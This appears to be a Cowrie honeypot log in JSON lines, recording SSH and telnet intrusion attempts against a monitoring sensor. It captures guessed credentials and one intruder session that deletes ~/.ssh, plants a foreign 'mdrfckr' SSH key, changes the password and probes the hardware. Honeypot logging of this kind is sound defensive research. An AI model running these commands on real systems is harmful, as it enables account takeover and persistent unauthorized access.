{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":33942,"dst_ip":"10.17.0.5","dst_port":23,"session":"3692d5666966","protocol":"telnet","message":"New connection: 139.162.207.207:33942 (10.17.0.5:23) [session: 3692d5666966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:29.734806Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":51740,"dst_ip":"159.203.135.109","dst_port":22,"session":"01fe36e28738","protocol":"ssh","message":"New connection: 171.244.141.86:51740 (159.203.135.109:22) [session: 01fe36e28738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:31.858599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:31.863048Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:32.118785Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":33928,"dst_ip":"10.17.0.5","dst_port":23,"session":"471ada7a0263","protocol":"telnet","message":"New connection: 139.162.207.207:33928 (10.17.0.5:23) [session: 471ada7a0263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:32.231835Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":57404,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7cd5f39d109","protocol":"telnet","message":"New connection: 209.126.87.217:57404 (159.203.135.109:23) [session: e7cd5f39d109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:32.350731Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"adminpassword","message":"login attempt [admin/adminpassword] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:33.164840Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":57414,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e76854a5d51","protocol":"telnet","message":"New connection: 209.126.87.217:57414 (159.203.135.109:23) [session: 9e76854a5d51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:33.609594Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:33.717623Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:33.720963Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:33.725187Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:33.981893Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:34.531704Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:34.534795Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.804256916046143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:34.542168Z","src_ip":"209.126.87.217","session":"063b3295fc18","protocol":"telnet"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:34.793047Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:34.798153Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":52844,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee946f6ec619","protocol":"ssh","message":"New connection: 171.244.141.86:52844 (159.203.135.109:22) [session: ee946f6ec619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:35.029671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:35.034417Z","src_ip":"171.244.141.86","session":"ee946f6ec619","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:35.285276Z","src_ip":"171.244.141.86","session":"ee946f6ec619","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:36.312281Z","src_ip":"171.244.141.86","session":"ee946f6ec619","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":57420,"dst_ip":"159.203.135.109","dst_port":23,"session":"18fe8538e7d9","protocol":"telnet","message":"New connection: 209.126.87.217:57420 (159.203.135.109:23) [session: 18fe8538e7d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:36.393868Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:37.564096Z","src_ip":"171.244.141.86","session":"ee946f6ec619","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":53692,"dst_ip":"159.203.135.109","dst_port":22,"session":"43818fce7a59","protocol":"ssh","message":"New connection: 171.244.141.86:53692 (159.203.135.109:22) [session: 43818fce7a59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:37.803673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:37.809803Z","src_ip":"171.244.141.86","session":"43818fce7a59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:38.058720Z","src_ip":"171.244.141.86","session":"43818fce7a59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":43956,"dst_ip":"10.17.0.5","dst_port":23,"session":"63258fcc79f0","protocol":"telnet","message":"New connection: 139.162.207.207:43956 (10.17.0.5:23) [session: 63258fcc79f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:38.639074Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:39.081186Z","src_ip":"171.244.141.86","session":"43818fce7a59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:40.330124Z","src_ip":"171.244.141.86","session":"43818fce7a59","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:40.647144Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:40.650816Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:40.912397Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:41.470264Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"adminpassword\\nDyOIa5udvglE\\nDyOIa5udvglE\"|passwd|bash","message":"CMD: echo -e \"adminpassword\\nDyOIa5udvglE\\nDyOIa5udvglE\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:41.473881Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:41.477455Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:41.480664Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/2561456b3ff44c0c09c5836461523d489ed1b8015e6e236e3425d9334c28128e","size":32,"shasum":"2561456b3ff44c0c09c5836461523d489ed1b8015e6e236e3425d9334c28128e","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/2561456b3ff44c0c09c5836461523d489ed1b8015e6e236e3425d9334c28128e after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:41.742126Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:42.302645Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"adminpassword\\nDyOIa5udvglE\\nDyOIa5udvglE\\n\"|passwd","message":"CMD: echo \"adminpassword\\nDyOIa5udvglE\\nDyOIa5udvglE\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:42.306087Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/180d5408257ff438d0df5d32e6c65d96ca36d0a6dbc55fd3b242fb310a5b2a85","size":25,"shasum":"180d5408257ff438d0df5d32e6c65d96ca36d0a6dbc55fd3b242fb310a5b2a85","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/180d5408257ff438d0df5d32e6c65d96ca36d0a6dbc55fd3b242fb310a5b2a85 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:42.563767Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:43.153206Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:43.155867Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:43.416288Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:43.964830Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:43.968455Z","src_ip":"171.244.141.86","session":"01fe36e28738","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33416,"dst_ip":"159.203.135.109","dst_port":22,"session":"838090453d81","protocol":"ssh","message":"New connection: 159.203.92.129:33416 (159.203.135.109:22) [session: 838090453d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:44.181081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:44.185627Z","src_ip":"159.203.92.129","session":"838090453d81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:44.190059Z","src_ip":"159.203.92.129","session":"838090453d81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Thestableansible123","message":"login attempt [ansible/Thestableansible123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:18:44.200452Z","src_ip":"159.203.92.129","session":"838090453d81","protocol":"ssh"}
